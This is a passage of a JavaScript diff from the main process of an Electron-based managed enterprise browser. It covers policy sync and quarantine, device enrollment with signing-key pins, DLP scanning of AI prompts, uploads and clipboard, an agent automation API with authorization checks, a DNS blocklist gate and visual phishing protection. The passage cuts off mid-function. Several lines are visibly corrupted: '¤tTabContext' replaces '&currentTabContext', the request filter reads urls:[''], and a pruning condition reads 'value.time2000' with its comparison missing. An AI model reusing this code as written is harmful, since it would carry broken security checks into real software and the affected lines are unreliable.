if(blocked&&blocked.policyVersion===policy.version&&(blockedTab()?.security.visualBlocked?policy.security.visualPhishing.enabled:policy.security.content.blockedPhrases.length)){message=blocked.message;ready=false;emit();layout();return;} + for(const tab of tabs.all()){tab.security.visualBlocked=null;tab.security.contentBlocked=null;} + const recovering=!ready;ready=true;tabs.resume(policy.version);message=`Managed · policy v${policy.version}`;emit();layout(); + await ensureAgentAPI(); + if(recovering){for(const tab of tabs.all()){const current=tab.view.webContents.getURL();if(/^https?:\/\//.test(current)&&core.destinationAllowed(current,policy))tab.view.webContents.reload();else if(current!=='about:blank'||tabs.all().length===1)await navigate({url:policy.browser.homeUrl,tabId:tab.id});}emit();} + }catch(e){ + // A deliberate page quarantine aborts in-flight management requests too. + // Preserve that stronger, sticky verdict instead of replacing it with an + // expected cancellation error or treating it as a management outage. + const blocked=stickyBlock(); + if(e.name==='AbortError'&&!ready&&blocked&&message===blocked.message){emit();return;} + managementHealthy=false;quarantine(e.status===401?'Device revoked or credentials rejected. Contact your administrator.':`Browsing paused: ${e.message}`);if(e.status===401){configureDiagnostics({enabled:false});agentService?.revoke();await agentService?.close();agentService=null;try{fs.unlinkSync(agentFile());}catch{}await browserSession.closeAllConnections();await browserSession.clearStorageData();} + } + finally{syncing=false;} +} +async function completeEnrollment(server,result){ + if(device)throw Error('This installation is already enrolled'); + const candidate={server,id:result.id,token:result.token,publicKey:result.publicKey,minimumVersion:0}; + candidate.channelSignatureKey=require('../../packages/core/policy-channel.cjs').verifyIdentity(result.managementChannel,candidate.publicKey); + const channelPin=require('./management-channel.cjs').deploymentPin();if(channelPin&&candidate.channelSignatureKey.trim()!==channelPin)throw Error('Protected management signing pin mismatch'); + // Optional deployment-time key pin strengthens first enrollment beyond TLS trust. + if(process.env.SAFETYNET_POLICY_KEY_FILE && fs.readFileSync(process.env.SAFETYNET_POLICY_KEY_FILE,'utf8').trim()!==candidate.publicKey.trim())throw Error('Management signing key does not match deployment pin'); + const initialPolicy=await require('./management-channel.cjs').protectedPolicyRequest({device:candidate,request,save:()=>{}}); + assertPolicyAssignment(core.verifyPolicy(initialPolicy,candidate.publicKey),candidate.id); + saveDevice(candidate);device=candidate;await sync();return state(); +} +function navigate(...args){return diagnosticSpan('browser.navigation',{},()=>navigateImpl(...args));} +async function navigateImpl(input,captured,options={}){ + const address=typeof input==='string'?input:input?.url; + if(typeof address!=='string'||address.length>4096)throw Error('Invalid address'); + const tab=tabs.get(captured?.sessionId||input?.tabId||activeTab().id),contents=tab.view.webContents; + if(captured&&(!currentTabContext(captured.token)||captured.webContents!==contents))throw Error('Agent context changed'); + const url=address.includes('://')?address:`https://${address}`; + if(!policy||!['https:','http:'].includes(new URL(url).protocol)||!core.destinationAllowed(url,policy))throw Error('Destination is blocked by company policy'); + const blocked=stickyBlock(),documentURL=value=>{const parsed=new URL(value);parsed.hash='';return parsed.href;}; + if(blocked&&managementHealthy&&Date.parse(policy.expiresAt)>Date.now()&&blockedTab()===tab&&documentURL(url)!==documentURL(blocked.checkedURL)){ + for(const record of tabs.all()){record.security.visualBlocked=null;record.security.contentBlocked=null;}ready=true;tabs.resume(policy.version);message='Checking destination…'; + } + if(!ready)throw Error('Browser is not managed and ready'); + if(options.signal?.aborted)throw Error('Agent action cancelled'); + const initial=policy;tab.startPage=false;if(tab===activeTab())startPage=false;layout(); + const abort=()=>contents.stop();options.signal?.addEventListener('abort',abort,{once:true}); + try{await contents.loadURL(url);}finally{options.signal?.removeEventListener('abort',abort);} + if(options.signal?.aborted||!ready||policy!==initial||contents.isDestroyed()||tabs.fromContents(contents.id)!==tab)throw Error('Navigation context changed'); + const refreshed=captured?agentContext(tab.id):null; + if(captured?.token.foreground&&(!refreshed.foreground||captured.token.activation!==refreshed.token.activation))throw Error('Agent foreground changed during navigation'); + emit();return refreshed||state(); +} +function agentContext(id){const tab=id?tabs.get(id):activeTab(),foreground=tab===activeTab();return {ready:ready&&featureAllowed(managedSettings(),'agents'),interactive:foreground&&!tab.startPage&&!overviewPanel&&!toolsOpen,policy,policyVersion:policy?.version,sessionId:tab.id,foreground,token:tabContext(tab.id,{foreground}),webContents:tab.view.webContents,destinationAllowed:core.destinationAllowed};} +function managedAI(...args){return diagnosticSpan('browser.ai',{},()=>managedAIImpl(...args));} +async function managedAIImpl(prompt){ + requireFeatureSection('ai'); + if(!ready||!policy?.ai.enabled)throw Error('AI access is disabled by company policy'); + if(typeof prompt!=='string'||!prompt.trim()||prompt.length>100000)throw Error('Enter a prompt of up to 100,000 characters'); + const initial=policy,verdict=core.inspectForAI(Buffer.from(prompt),initial); + if(verdict.decision==='block'){await audit('dlp.block',verdict.ruleId);throw Error(`Blocked by company policy: ${verdict.ruleId}`);} + if(initial.dlp.semantic.enabled||initial.security.yara.enabled){if(!localInspector)throw Error('Local inspector unavailable');const result=await diagnosticSpan('browser.inspect.local',{bytes:Buffer.byteLength(prompt)},()=>localInspector.inspect(Buffer.from(prompt),initial));if(result.decision!=='allow'&&!core.allowsConfidentialLocal(result,initial))throw Error('Local content policy blocked this prompt');} + const external=await diagnosticSpan('browser.inspect.enterprise',{bytes:Buffer.byteLength(prompt)},()=>scanEnterprise(Buffer.from(prompt),initial,'ai'));if(external.decision!=='allow'){await audit('dlp.block',external.ruleId);throw Error('Company external scanner blocked this prompt');} + if(!ready||policy.version!==initial.version)throw Error('Policy changed during inspection'); + const result=await request(device.server,'/api/device/ai',{prompt},device.token); + if(!ready||policy.version!==initial.version)throw Error('Policy changed during AI request');return result; +} +async function mutateManagedBookmarks(input){ + if(bookmarkBusy||syncing)throw Error('Management update in progress. Try again.'); + const initial=policy,identity=device; + const payload=validateBookmarkMutation(input,{policy:effectiveBookmarkPolicy(),ready,settings:managedSettings(),destinationAllowed:core.destinationAllowed}); + bookmarkBusy=true; + try{ + const result=await request(identity.server,'/api/device/bookmarks',payload,identity.token); + if(policy!==initial||device!==identity)throw Error('Managed policy changed during bookmark update'); + const deadline=Date.now()+12000;while(syncing){if(Date.now()>=deadline)throw Error('Bookmark update awaits management synchronization');await new Promise(resolve=>setTimeout(resolve,50));} + await sync(); + if(!ready||device!==identity||personalBookmarks.revision!==result.revision||policy.version!==result.version)throw Error('Bookmark update requires a fresh signed policy'); + return state(); + }finally{bookmarkBusy=false;} +} +async function ensureAgentAPI(){ + if(!ready||!policy.agents.enabled||!featureAllowed(managedSettings(),'agents')||agentService||agentStarting)return;agentStarting=true; + try{ + const getContext=agentContext; + const actions=createAgentAdapters({getContext,appControls:agentAppControls(),getSessions:()=>tabs.all().map(tab=>({id:tab.id,title:tab.title,foreground:tab===activeTab()})),contextCurrent:currentTabContext,navigate,ai:managedAI, + inspect:async(text,context)=>{ + const aiContext=context.action==='ai'; + let verdict=aiContext?core.inspectForAI(Buffer.from(text),context.policy):core.inspect(Buffer.from(text),context.policy);if(verdict.decision==='block')return verdict; + if(context.policy.dlp.semantic.enabled||context.policy.security.yara.enabled){ + if(!localInspector)return {decision:'block'};const result=await diagnosticSpan('browser.inspect.local',{bytes:Buffer.byteLength(text)},()=>localInspector.inspect(Buffer.from(text),context.policy)); + verdict=aiContext&&core.allowsConfidentialLocal(result,context.policy)?{...result,decision:'allow',classification:'local-only'}:result; + }if(verdict.decision!=='allow')return verdict;const external=await diagnosticSpan('browser.inspect.enterprise',{bytes:Buffer.byteLength(text)},()=>scanEnterprise(Buffer.from(text),context.policy,aiContext?'ai':'upload'));return external.decision==='allow'?verdict:external; + },audit:event=>audit('agent.denied',`${event.action}:${event.outcome}`)}); + for(const action of ['click','type']){const original=actions[action];actions[action]=async(...args)=>{const tab=tabs.get(args[0]?.sessionId||activeTab().id),context=tabContext(tab.id);const checked=await checkVisual(tab);if(!currentTabContext(context)||checked.decision!=='allow')throw Error('Visual login protection has not approved this page');return original(...args);};} + for(const action of Object.keys(actions)){const original=actions[action];actions[action]=(...args)=>diagnosticSpan('browser.agent',{operation:action},()=>original(...args));} + agentService=await startAgentControl({actions, + onError:error=>{if(!app.isPackaged&&process.env.SAFETYNET_SMOKE_ARTIFACTS)fs.appendFileSync(path.join(process.env.SAFETYNET_SMOKE_ARTIFACTS,'smoke-entry.txt'),`Agent action diagnostic: ${error.reason}\n`);}, + authorize:({action,args,scope})=>{ + if(!ready||!policy?.agents.enabled||Date.parse(policy.expiresAt)<=Date.now()||!policy.agents.scopes.includes(action))return {allowed:false}; + if(action==='sessions'||Object.hasOwn(agentAppControls(),action))return {allowed:true,role:'agent',scopes:[scope]}; + let tab;try{tab=args.sessionId?tabs.get(args.sessionId):activeTab();}catch{return {allowed:false};} + const url=action==='navigate'?args.url:tab.view.webContents.getURL(); + if(!core.destinationAllowed(url,policy))return {allowed:false}; + if(policy.agents.allowedHosts.length&&!policy.agents.allowedHosts.some(pattern=>core.hostMatches(new URL(url).hostname,pattern)))return {allowed:false}; + return {allowed:true,role:'agent',scopes:[scope]}; + },audit:event=>audit(event.outcome==='denied'?'agent.denied':'agent.action',`${event.action}:${event.outcome}`), + persistCredential:async connection=>{const protectedConnection=await require('./dpapi.cjs').capabilityCrypto('protect',JSON.stringify(connection));fs.writeFileSync(agentFile(),JSON.stringify({format:'windows-dpapi-v1',protectedConnection}),{mode:0o600});} + });emit(); + }finally{agentStarting=false;} +} +function dnsGate(...args){return diagnosticSpan('browser.dns',{},()=>dnsGateImpl(...args));} +async function dnsGateImpl(url,currentPolicy){ + const settings=currentPolicy.security.dns; + if(!settings.enabled||!settings.blockedIPs.length)return; + const host=new URL(url).hostname; + if(securityCore.dnsAddressBlocked(host.replace(/^\[|\]$/g,''),currentPolicy))throw Error('dns-ip-blocklist'); + let timer;const resolved=await Promise.race([browserSession.resolveHost(host,{cacheUsage:'allowed'}),new Promise((_,reject)=>{timer=setTimeout(()=>reject(Error('dns-resolution-timeout')),5000);})]).finally(()=>clearTimeout(timer)); + const addresses=resolved.endpoints?.map(v=>v.address)||[]; + if(!addresses.length||addresses.some(ip=>securityCore.dnsAddressBlocked(ip,currentPolicy)))throw Error('dns-ip-blocklist'); +} +function hooks(){ + browserSession.setPermissionRequestHandler((_wc,_permission,callback)=>callback(false)); + browserSession.setPermissionCheckHandler(()=>false); + const download=createDownloadGate({getContext:id=>{const tab=tabs.fromContents(id);return tab?{ready,policy,webContentsId:id,token:tabContext(tab.id,{foreground:false})}:null;},isCurrent:context=>!!context&¤tTabContext(context.token)&&policy===context.policy, + fetchResponse:(url,options)=>diagnosticSpan('browser.request',{operation:'download'},()=>browserSession.fetch(url,options)),scan:(bytes,p)=>diagnosticSpan('browser.inspect.enterprise',{bytes:bytes.length},()=>scanDownloadEnterprise(bytes,p,localInspector)), + choosePath:async name=>{const chosen=await dialog.showSaveDialog(win,{title:'Save scanned download (choose a new file)',defaultPath:path.join(app.getPath('downloads'),name)});return chosen.canceled?null:chosen.filePath;}, + writeFile:async(file,bytes,current)=>{ + if(!current()||!path.isAbsolute(file)||file.includes('\\\\?\\')||file.slice(2).includes(':'))throw Error('Save path rejected'); + const handle=await fs.promises.open(file,'wx',0o600);let release=false; + try{if(!current())throw Error('Policy changed');await handle.writeFile(bytes);await handle.sync();if(!current())throw Error('Policy changed');release=true;} + finally{await handle.close();if(!release)await fs.promises.unlink(file).catch(()=>{});} + },audit,status:text=>{message=text;emit();}}); + browserSession.on('will-download',(event,item,contents)=>{ + const url=item.getURL(),name=item.getFilename(),tracked=recentRequests.get(`${contents?.id}:${url}`);event.preventDefault(); + if(!/^https?:\/\//.test(url)){audit('download.block','unsupported-download');return;} + diagnosticSpan('browser.download',{},()=>download({url,name,method:tracked?.method,webContentsId:contents?.id})).catch(()=>audit('download.block','download-inspection-failed')); + }); + browserSession.webRequest.onBeforeRequest({urls:['']},(details,callback)=>{ + // A delegated native frontend may load its bundled Chromium UI only. Its HTTP + // requests receive no exemption, and neither pages nor trusted chrome qualify. + if(developerAssetRequestAllowed(details,{ready,policy,tabs:tabs.all()})){callback({cancel:false});return;} + let called=false;const finish=cancel=>{if(!called){called=true;callback({cancel});}}; + const initialPolicy=policy,source=details.webContentsId>0?tabs.fromContents(details.webContentsId):null,sourceContext=source?tabContext(source.id,{foreground:false}):null; + const sourceCurrent=()=>!sourceContext||currentTabContext(sourceContext);const timer=setTimeout(()=>finish(true),40000); + // Async gates complete before Chromium may transmit the request. + diagnosticSpan('browser.request',{requestType:details.resourceType,...(source?{sessionId:source.id}:{})},async()=>{try{ + if(!ready||!policy||Date.parse(policy.expiresAt)<=Date.now()||(details.webContentsId>0&&(!source||!source.guarded))){finish(true);return;} + if(!core.destinationAllowed(details.url,policy)){audit('navigation.block',null,new URL(details.url).hostname);finish(true);return;} + recentRequests.set(`${details.webContentsId}:${details.url}`,{method:details.method,time:Date.now()});if(recentRequests.size>2000)for(const [url,value]of recentRequests)if(value.time2000)recentRequests.delete(url); + try{await dnsGate(details.url,initialPolicy);}catch(error){audit('dns.block',error.message,new URL(details.url).hostname);finish(true);return;} + if(!ready||policy!==initialPolicy||!sourceCurrent()){finish(true);return;} + if(details.resourceType==='webSocket'&&!policy.browser.allowWebSockets){audit('dlp.block','websocket-disabled',new URL(details.url).hostname);finish(true);return;} + const address=new URL(details.url),query=address.pathname+address.search; + const queryVerdict=core.inspect(Buffer.from(query),policy); + if(queryVerdict.decision==='block'){audit('dlp.block',queryVerdict.ruleId,new URL(details.url).hostname);finish(true);return;} + const uploads=details.uploadData||[]; + if(policy.security.visualPhishing.enabled&&(uploads.length||(address.search&&details.resourceType==='xhr')||details.resourceType==='webSocket')){ + const checked=source?await checkVisual(source):{decision:'unknown'};if(checked.decision!=='allow'||!ready||policy!==initialPolicy||!sourceCurrent()){finish(true);return;} + } + // Electron file/data-pipe interception cannot bind scanning to the bytes later sent. + // Block these paths rather than scanning a mutable file and allowing a race. + if(uploads.some(part=>!part.bytes || part.file || part.blobUUID)){audit('dlp.block','uninspectable-upload',new URL(details.url).hostname);finish(true);return;} + if(!['GET','HEAD','OPTIONS'].includes(details.method)&&!uploads.length){audit('dlp.block','missing-request-body',new URL(details.url).hostname);finish(true);return;} + if(uploads.length){ + if(uploads.reduce((n,p)=>n+p.bytes.length,0)>policy.dlp.maxBytes){audit('dlp.block','size-limit',new URL(details.url).hostname);finish(true);return;} + const requestBytes=Buffer.concat(uploads.map(p=>Buffer.from(p.bytes))); + const transfer=require('../../packages/core/file-transfer.cjs').inspectFileTransfer(requestBytes,policy,'upload'); + const fileFacts={bytes:requestBytes.length,detectedType:transfer.detectedType,sha256:transfer.sha256}; + const releaseUpload=async()=>{await audit('upload.authorized',null,new URL(details.url).hostname,fileFacts);finish(!ready||policy!==initialPolicy||!sourceCurrent());}; + if(transfer.decision!=='allow'){await audit('upload.block',transfer.ruleId,new URL(details.url).hostname,fileFacts);requestBytes.fill(0);finish(true);return;} + const verdict=core.inspect(requestBytes,policy);requestBytes.fill(0); + if(verdict.decision==='block'&&verdict.ruleId!=='uninspectable'){audit('dlp.block',verdict.ruleId,new URL(details.url).hostname);finish(true);return;} + if(verdict.ruleId==='uninspectable'||policy.dlp.semantic.enabled||policy.security.yara.enabled||icapRequired(policy,'upload')){ + const needsLocal=verdict.ruleId==='uninspectable'||policy.dlp.semantic.enabled||policy.security.yara.enabled; + if(needsLocal&&!localInspector){audit('dlp.block','inspector-unavailable',new URL(details.url).hostname);finish(true);return;} + const snapshot=Buffer.concat(uploads.map(p=>Buffer.from(p.bytes))),currentPolicy=policy; + try{let result=needsLocal?await diagnosticSpan('browser.inspect.local',{bytes:snapshot.length},()=>localInspector.inspect(snapshot,currentPolicy)):{decision:'allow'};if(result.decision==='allow')result=await diagnosticSpan('browser.inspect.enterprise',{bytes:snapshot.length},()=>scanEnterprise(snapshot,currentPolicy,'upload')); + const cancel=!ready||policy.version!==currentPolicy.version||!sourceCurrent()||result.decision!=='allow'; + if(cancel){audit('dlp.block',result.ruleId||'policy-changed',new URL(details.url).hostname);finish(true);}else await releaseUpload(); + }catch{audit('dlp.block','inspection-incomplete',new URL(details.url).hostname);finish(true);}finally{snapshot.fill(0);}return; + }else{await releaseUpload();return;} + } + finish(false); + }catch{finish(true);}finally{clearTimeout(timer);}}).catch(()=>finish(true)); + }); + // Session request and permission gates are installed exactly once. +} +function installSiteHooks(tab){ + const contents=tab.view.webContents,security=tab.security; + const developerTools=createDeveloperToolsGuard({contents,getContext:()=>({ready,foreground:tab===activeTab()&&!tab.startPage&&!overviewPanel&&!toolsOpen,policy,url:contents.getURL(),token:tabContext(tab.id)}),isCurrent:context=>currentTabContext(context.token),audit:kind=>audit(kind),createFrontend:()=>{const frontend=new BrowserWindow({show:false,width:1000,height:750,title:'S Browser · Privileged developer tools',webPreferences:{session:browserSession,nodeIntegration:false,contextIsolation:true,sandbox:true,devTools:false}});security.developerFrontend=frontend.webContents;frontend.webContents.setWindowOpenHandler(()=>({action:'deny'}));return frontend;}}); + security.developerToolsGuard=developerTools; + contents.setWindowOpenHandler(({url})=>{createNativeTab({url}).catch(e=>{message=e.message;emit();});return {action:'deny'};}); + contents.on('will-navigate',(event,url)=>{if(!ready||!core.destinationAllowed(url,policy))event.preventDefault();}); + contents.on('will-attach-webview',event=>event.preventDefault()); + contents.on('before-input-event',(event,input)=>{if(developerTools.handleInput(event,input))return;const approval=security.visualApproval;if(policy?.security.visualPhishing.enabled&&(!approval||approval.generation!==tab.navigationId||approval.version!==policy.version||approval.url!==contents.getURL())){event.preventDefault();checkVisual(tab).catch(()=>{});}}); + contents.on('did-start-navigation',(_event,_url,_inPlace,isMainFrame)=>{if(isMainFrame){tabs.navigation(tab.id);if(_url!=='about:blank')tab.startPage=false;}}); + contents.on('did-navigate',()=>emit());contents.on('did-navigate-in-page',()=>emit()); + contents.on('did-finish-load',()=>pageTheme(tab));contents.on('page-title-updated',()=>{tab.title=contents.getTitle().slice(0,200);if(tab===activeTab())pageTitle=tab.title;emit();}); + installClipboardControls(contents); + security.visualScanner=createVisualPhishing({getContext:()=>({ready,policy,webContents:contents,url:contents.getURL(),navigationId:tab.navigationId}), + describe:url=>visualDeadline(contents.executeJavaScriptInIsolatedWorld(999,[{code:describeScript(url)}],false)), + capture:async(scope,description)=>{let rect;if(scope==='login-form'){const r=description.formRect;if(!r)throw Error('Login region unavailable');rect={x:Math.floor(r.x),y:Math.floor(r.y),width:Math.ceil(r.width),height:Math.ceil(r.height)};}const bytes=await visualDeadline(capturePNG(contents,rect));if(bytes.length<24)throw Error('Capture dimensions unavailable');return {bytes,width:bytes.readUInt32BE(16),height:bytes.readUInt32BE(20)};}, + fingerprint:capture=>{try{return fingerprintPNG(capture.bytes);}finally{capture.bytes.fill(0);}},compare:hammingDistance, + audit:event=>audit(event.kind,event.ruleId,event.host),block:result=>{security.visualBlocked={...result,message:result.reason==='credential-brand-impersonation'?'Blocked: this login resembles a protected brand on an unapproved origin.':'Blocked: this login could not be inspected safely.'};security.visualApproval=null;quarantine(security.visualBlocked.message);} + }); +} +function createNativeTab(input={}){return diagnosticSpan('browser.tab',{operation:'create'},()=>createNativeTabImpl(input));} +async function createNativeTabImpl(input={}){ + if(!input||typeof input!=='object'||Object.keys(input).some(key=>!['group','url'].includes(key)))throw Error('Invalid native tab request'); + if(input.group)requireManagedSection('library'); + const tab=tabs.create({group:input.group||''});installSiteHooks(tab); + try{ + await tab.view.webContents.loadURL('about:blank'); + await diagnosticSpan('browser.clipboard',{operation:'create',sessionId:tab.id},()=>attachPageClipboardGuard(tab.view.webContents,()=>{clipboardFatal=true;quarantine('Managed clipboard protection failed; restart the browser');audit('clipboard.block','clipboard-primitive-unavailable');app.quit();})); + tab.guarded=true;selectTab(tab.id); + if(input.url)await navigate({url:input.url,tabId:tab.id});emit();return state(); + }catch(error){if(tabs.all().includes(tab)){tabs.remove(tab.id);if(tabs.active()?.guarded)selectTab(tabs.active().id);}throw error;} +} + +function updateManagedAppearance(input){requireManagedSection('appearance');appearancePreferences={...appearancePreferences,...validateAppearance(input)};persistAppearance();emit();return managedSettings();} +async function closeNativeTab(id){tabs.remove(id);if(!tabs.all().length)await createNativeTab();else selectTab(tabs.active().id);emit();return state();} +function groupNativeTab(input){requireManagedSection('library');if(!input||typeof input.group!=='string'||input.group.length>40)throw Error('Invalid native tab group');tabs.get(input.id).group=input.group;emit();return state();} +function agentAppControls(){ + const checked=(operation)=>async(args,{signal,policyVersion}={})=>{ + if(signal?.aborted||!ready||policy?.version!==policyVersion||!featureAllowed(managedSettings(),'agents'))throw Error('Managed application changed'); + return operation(args); + }; + return { + 'application:state':checked(()=>({ready,policyVersion:policy.version,activeTabId:activeTab()?.id,tabCount:tabs.all().length})), + 'settings:get':checked(()=>managedSettings()), + 'settings:update':checked(args=>updateManagedAppearance(args.appearance)), + 'bookmarks:list':checked(()=>({...bookmarkState({policy:effectiveBookmarkPolicy(),ready,settings:managedSettings()}),policyVersion:policy.version})), + 'bookmarks:mutate':checked(async args=>{await mutateManagedBookmarks(args);return {completed:true};}), + 'tabs:create':checked(async args=>{const result=await createNativeTab(args);return {completed:true,sessionId:result.activeTabId};}), + 'tabs:activate':checked(args=>{selectTab(args.sessionId);emit();return {completed:true,sessionId:args.sessionId};}), + 'tabs:close':checked(async args=>{await closeNativeTab(args.sessionId);return {completed:true};}), + 'tabs:group':checked(args=>{groupNativeTab({id:args.sessionId,group:args.group});return {completed:true,sessionId:args.sessionId};}) + }; +} +function ipc(channel,fn){ipcMain.handle(channel,async(event,...args)=>{ + if(event.sender!==win.webContents || event.senderFrame!==win.webContents.mainFrame || event.senderFrame?.url!==uiUrl)throw Error('Untrusted IPC sender'); + try{return {ok:true,data:await diagnosticSpan('browser.ipc',{operation:channel.slice('managed:'.length)},()=>fn(...args))};}catch(e){return {ok:false,error:e.message};} +});} +app.whenReady().then(async()=>{ + if(!ownsBrowserInstance)return; + if(cliRequest){try{await require('./agent-client.cjs').runClient(cliConnection,cliRequest);}catch{console.error('Local agent action failed. Check policy and encrypted pairing file.');app.exit(1);}return;} + core=await import('../../packages/core/policy.mjs'); + clipboardCore=await import('../../packages/core/clipboard.mjs'); + ipcMain.on('managed:clipboard-sandbox-failure',event=>{if(tabs?.fromContents(event.sender.id)||event.sender===win?.webContents){clipboardFatal=true;quarantine('Managed renderer security failed. Restart this browser.');}}); + powerMonitor.on('lock-screen',lockVault);powerMonitor.on('suspend',lockVault); + securityCore=await import('../../packages/core/security.mjs'); + localInspector=startInspector(app.isPackaged?process.resourcesPath:path.join(__dirname,'../..'),app.isPackaged); + browserSession=session.fromPartition('persist:safetynet-managed',{cache:false}); + // Management has its own cookie jar and no website request gate. It uses the + // same company proxy and Chromium DNS configuration as managed website traffic. + managementSession=session.fromPartition('persist:safetynet-management',{cache:false}); + browserSession.registerPreloadScript({type:'frame',id:'managed-clipboard-deny',filePath:path.join(__dirname,'clipboard-deny.cjs')}); + session.defaultSession.registerPreloadScript({type:'frame',id:'shell-clipboard-deny',filePath:path.join(__dirname,'clipboard-deny.cjs')}); + Menu.setApplicationMenu(null); + win=new BrowserWindow({width:1320,height:900,minWidth:800,minHeight:600,frame:false,roundedCorners:true,hasShadow:true,backgroundMaterial:'acrylic',backgroundColor:'#eef1f5',autoHideMenuBar:true,webPreferences:{preload:path.join(__dirname,'preload.cjs'),nodeIntegration:false,contextIsolation:true,sandbox:true,devTools:false}}); + win.removeMenu(); + tabs=createTabRegistry({createView:()=>new WebContentsView({webPreferences:{session:browserSession,preload:path.join(__dirname,'site-preload.cjs'),nodeIntegration:false,nodeIntegrationInSubFrames:true,contextIsolation:true,sandbox:true,webSecurity:true,allowRunningInsecureContent:false}}),attach:v=>win.contentView.addChildView(v),detach:v=>win.contentView.removeChildView(v),dispose:tab=>disposePageClipboardGuard(tab.view.webContents)}); + const executeClipboard=(mode,args)=>args.webContents.executeJavaScriptInIsolatedWorld(999,[{code:clipboardScript(mode,args)}],false); + clipboardGuard=createClipboardGuard({ + getContext:contents=>{const target=contents||view?.webContents,tab=target&&tabs.fromContents(target.id),site=!!tab,url=target?.getURL()||'',token=site?tabContext(tab.id):null;return {ready:ready&&target?.isFocused()&&(site?tab===activeTab()&&!tab.startPage&&!overviewPanel&&!toolsOpen&&core.destinationAllowed(url,policy):target===win.webContents&&url===uiUrl),policy,webContents:target,url,navigationId:site?tab.navigationId:0,tabId:tab?.id,activation:token?.activation};}, + stage:async args=>{const tab=tabs.fromContents(args.webContents.id);if(tab&&args.operation==='paste'&&policy?.security.visualPhishing.enabled&&(await checkVisual(tab)).decision!=='allow')throw Error('Login protection holds paste');return executeClipboard('stage',args);}, + validate:args=>executeClipboard('validate',args),commit:args=>executeClipboard('commit',args), + discard:args=>executeClipboard('discard',{...args,url:'',operation:'copy',limit:0}), + readClipboard:async limit=>{const items=await clipboard.read();if(items.length!==1)throw Error('Clipboard format unsupported');const item=items[0];if(!item.types.includes('text/plain')||item.types.some(type=>type!=='text/plain'&&!/^electron application\/osclipboard;format="(?:CF_TEXT|CF_UNICODETEXT|CF_LOCALE)"$/.test(type)))throw Error('Rich clipboard denied');const blob=await item.getType('text/plain');if(blob.size>limit)throw Error('Clipboard size limit');return blob.text();}, + writeClipboard:text=>clipboard.writeText(text), + inspect:async(bytes,currentPolicy,operation)=>{let verdict=clipboardCore.inspectClipboard(bytes,currentPolicy,operation);if(verdict.decision!=='allow')return verdict;if(currentPolicy.dlp.semantic.enabled||currentPolicy.security.yara.enabled){if(!localInspector)return {decision:'block',ruleId:'clipboard-inspector-unavailable'};verdict=await diagnosticSpan('browser.inspect.local',{bytes:bytes.length},()=>localInspector.inspect(bytes,currentPolicy));}if(verdict.decision!=='allow')return verdict;const external=await diagnosticSpan('browser.inspect.enterprise',{bytes:bytes.length},()=>scanEnterprise(bytes,currentPolicy,'clipboard'));return external.decision==='allow'?verdict:external;}, + audit:async(kind,ruleId)=>{await audit(kind,ruleId);if(kind==='clipboard.block'&&ready){message=`Clipboard blocked by company policy (${ruleId}).`;emit();}} + }); + installClipboardControls(win.webContents);hooks(); + ipcMain.on('managed:visual-policy',event=>{event.returnValue={enabled:!!tabs.fromContents(event.sender.id)&&!!policy?.security.visualPhishing.enabled};}); + ipcMain.handle('managed:visual-check',async(event,input)=>{ + const tab=tabs.fromContents(event.sender.id);if(!tab||event.senderFrame!==event.sender.mainFrame||!input||typeof input.token!=='string'||input.token.length>80||!Number.isSafeInteger(input.revision)||input.revision<0||input.url!==event.sender.getURL())return {decision:'unknown'}; + const security=tab.security;if(input.token!==security.visualToken||input.revision!==security.visualRevision){tabs.navigation(tab.id);security.visualToken=input.token;security.visualRevision=input.revision;} + try{return await checkVisual(tab);}catch{return {decision:'unknown'};} + }); + await createNativeTab(); + win.webContents.setWindowOpenHandler(()=>({action:'deny'}));win.webContents.on('will-navigate',event=>event.preventDefault()); + ipc('managed:state',()=>({...state(),pageTitle,pageColor,windowMaximized:win.isMaximized()})); + ipc('managed:window-control',action=>{if(action==='minimize')win.minimize();else if(action==='maximize'){win.isMaximized()?win.unmaximize():win.maximize();}else if(action==='close')win.close();else throw Error('Unknown window action');}); + ipc('managed:authorize-setting',section=>{requireManagedSection(section);return {authorized:true,policyVersion:policy.version};}); + ipc('managed:bookmarks-mutate',mutateManagedBookmarks); + ipc('managed:settings-update',updateManagedAppearance); + ipc('managed:chrome-layout',async input=>{ + if(!input||![64,104].includes(input.height)||['sidebarOpen','startPageOpen','overviewOpen'].some(key=>typeof input[key]!=='boolean'))throw Error('Unsupported browser layout'); + if(managedSettings().available&&!sectionAllowed(managedSettings(),'appearance')&&input.height!==(managedSettings().appearance.tabMode==='compact'?64:104))throw Error('Tab layout is controlled by your administrator'); + if(input.toolsOpen&&!managedSettings().visible)throw Error('Settings access is disabled by your administrator'); + if(input.sidebarOpen&&!libraryVisible(managedSettings()))throw Error('Library access is controlled by your administrator'); + if(input.toolsOpen!==undefined&&typeof input.toolsOpen!=='boolean')throw Error('Unsupported tools layout');chromeHeight=input.height;leftSidebar=input.sidebarOpen;startPage=activeTab()?.startPage??true;overviewPanel=input.overviewOpen;toolsOpen=!!input.toolsOpen;layout(); + if(policy?.security.visualPhishing.enabled)await configureVisualPage(true,activeTab());return {height:chromeHeight}; + }); + ipc('managed:share-url',async()=>{ + if(!ready)throw Error('Browser access paused');const initial=policy,context=tabContext(),contents=context.webContents,pageURL=contents.getURL(),url=new URL(pageURL); + if(!['https:','http:'].includes(url.protocol)||url.username||url.password)throw Error('Cannot share this page');url.search='';url.hash='';const text=url.toString(),bytes=Buffer.from(text); + let verdict=clipboardCore.inspectClipboard(bytes,initial,'copy'); + if(verdict.decision==='allow'&&(initial.dlp.semantic.enabled||initial.security.yara.enabled))verdict=localInspector?await diagnosticSpan('browser.inspect.local',{bytes:bytes.length},()=>localInspector.inspect(bytes,initial)):{decision:'block',ruleId:'clipboard-inspector-unavailable'}; + if(verdict.decision==='allow')verdict=await diagnosticSpan('browser.inspect.enterprise',{bytes:bytes.length},()=>scanEnterprise(bytes,initial,'clipboard')); + if(verdict.decision!=='allow'){await audit('clipboard.block',verdict.ruleId);throw Error('Company policy blocks sharing this link');} + await audit('clipboard.copy','authorized-link'); + if(!ready||policy!==initial||Date.parse(initial.expiresAt)<=Date.now()||!currentTabContext(context))throw Error('Browser state changed during link inspection'); + await clipboard.writeText(text);return {copied:true}; + }); + ipc('managed:enroll',async input=>{ + if(device)throw Error('Already enrolled');requireEncryption(); + if(!input||typeof input.server!=='string'||typeof input.code!=='string'||input.code.length>200)throw Error('Invalid enrollment'); + const server=managementUrl(input.server),result=await request(server,'/api/device/enroll',{code:input.code,name:os.hostname(),platform:process.platform}); + return completeEnrollment(server,result); + }); + ipc('managed:sso',async input=>{ + if(device)throw Error('Already enrolled');requireEncryption();const server=managementUrl(input.server); + const ticket=await request(server,'/api/device/sso/start',{}); + const 